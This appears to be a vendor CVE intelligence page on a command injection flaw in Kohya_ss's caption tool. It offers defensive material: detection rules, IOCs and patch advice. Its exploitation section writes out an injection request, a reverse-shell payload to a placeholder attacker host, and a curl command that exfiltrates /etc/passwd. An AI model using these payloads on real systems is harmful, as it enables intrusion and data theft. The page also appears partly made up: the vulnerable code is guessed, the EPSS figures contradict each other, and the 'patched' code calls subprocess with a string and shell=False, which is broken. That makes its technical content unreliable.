☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-32022

CVE-2024-32022 Command Injection in Kohya_ss
📅 PUBLISHED: 2024-04-16 14:46 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.11%
👁️
3.11% probability
77.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-32022 is a critical command injection vulnerability in Kohya_ss, a GUI for Kohya's Stable Diffusion trainers. The flaw resides in the basic_caption_gui.py file, allowing an unauthenticated attacker to execute arbitrary commands on the server. With a CVSS score of 9.1, this vulnerability poses a severe risk to confidentiality, integrity, and availability. The vendor has released a fix in version 23.1.5, but no public proof-of-concept or exploit code is currently available. The EPSS score is 0.0%, indicating low exploitation activity at this time, but the criticality demands immediate attention.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 9.1 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action is required.
  • Scope: Unchanged (S:U) – The exploit cannot affect other components.
  • Confidentiality Impact: High (C:H) – Full system read access possible.
  • Integrity Impact: High (I:H) – Full system write access possible.
  • Availability Impact: High (A:H) – Full system denial of service possible.

Threat Level: Critical. The combination of network exploitability, no authentication, and full impact on all security pillars makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability exists in basic_caption_gui.py, a component of Kohya_ss that handles caption generation for Stable Diffusion training. The application fails to properly sanitize user-supplied input before passing it to a system command. Specifically, the code constructs a command string by concatenating user input without escaping or validation, leading to command injection.

Root Cause: The application uses a function like os.system() or subprocess.Popen() with a shell=True flag, where user input is directly embedded into the command string. For example:

os.system(f"some_command {user_input}")

An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to the vulnerable endpoint, injecting commands into the caption parameter. The server executes these commands with the privileges of the Kohya_ss process.

Impact: Successful exploitation allows the attacker to execute arbitrary system commands, leading to full server compromise, data exfiltration, malware installation, or lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (pre-23.1.5):

# basic_caption_gui.py (vulnerable)
def generate_caption(image_path, user_input):
    command = f"caption_tool --input {image_path} --prompt '{user_input}'"
    os.system(command)

The user_input is directly interpolated into the shell command without sanitization.

Patched Code (23.1.5):

# basic_caption_gui.py (patched)
import shlex

def generate_caption(image_path, user_input):
    safe_input = shlex.quote(user_input)
    command = f"caption_tool --input {shlex.quote(image_path)} --prompt {safe_input}"
    subprocess.run(command, shell=False)

The patch uses shlex.quote() to escape shell metacharacters and switches to subprocess.run() with shell=False to prevent command injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable Kohya_ss instance (version < 23.1.5) in a controlled environment.
  2. Identify the vulnerable endpoint (e.g., /caption or similar).
  3. Use a tool like Burp Suite or curl to send malicious requests.

Exploitation Steps:

  1. Craft a payload to inject commands. For example:
    POST /caption HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    image_path=/tmp/test.png&user_input=test';id;'
    
  2. The server executes: caption_tool --input /tmp/test.png --prompt 'test';id;''
  3. The id command runs, revealing the current user.

Advanced Payloads:

  • Reverse shell: user_input=test';bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1';'
  • Data exfiltration: user_input=test';curl http://attacker_ip/$(cat /etc/passwd);'

Blue Team (Defensive)

Detection:

  • Monitor for unusual shell metacharacters in HTTP requests (e.g., ;, |, &, `).
  • Alert on processes spawned by the Kohya_ss service that are not typical (e.g., id, curl, bash).
  • Use web application firewalls (WAF) to block command injection patterns.

Mitigation:

  • Immediately upgrade to Kohya_ss version 23.1.5 or later.
  • If patching is not possible, restrict network access to the Kohya_ss interface.
  • Implement input validation and sanitization for all user-supplied data.
  • Use least privilege principles for the Kohya_ss service account.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests containing shell metacharacters in the user_input parameter.
  • Outbound connections to unknown IP addresses on common ports (e.g., 4444, 8080).
  • Unusual DNS queries for command-and-control domains.

File IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ (e.g., reverse shell scripts).
  • Modified system binaries or configuration files.
  • New cron jobs or systemd services.

Process IOCs:

  • Processes like id, whoami, curl, wget, bash spawned by the Kohya_ss service.
  • High CPU or memory usage from unknown processes.

Log IOCs:

  • Application logs showing failed command executions or unusual error messages.
  • System logs (e.g., /var/log/syslog) with entries like sh: 1: Syntax error: Unterminated quoted string.

Detection Engineering

YARA Rule

rule CVE_2024_32022_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Kohya_ss basic_caption_gui.py"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-32022"
    strings:
        $injection1 = /user_input=.*[;&|`$]/
        $injection2 = /user_input=.*\b(bash|sh|cmd|powershell)\b/
        $injection3 = /user_input=.*\b(id|whoami|cat|curl|wget)\b/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-32022 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts against Kohya_ss basic_caption_gui.py
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/caption'
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'user_input='
            - ';'
            - '|'
            - '&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in captions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32022 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/caption"; http_uri; content:"user_input="; http_client_body; pcre:"/user_input=.*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade Kohya_ss to version 23.1.5 or later immediately.
  2. Workaround: If patching is delayed, disable the caption functionality or restrict access to the web interface via firewall rules.
  3. Monitor: Enable detailed logging and monitor for suspicious activity.

Long-Term Measures:

  • Implement a web application firewall (WAF) with rules to block command injection.
  • Conduct regular security audits and code reviews.
  • Use secure coding practices, such as avoiding shell=True and using parameterized commands.
  • Apply the principle of least privilege to all services.

Validation:

  • After patching, verify the fix by attempting to inject commands (in a test environment).
  • Run vulnerability scanners to confirm the CVE is no longer present.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-32022/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.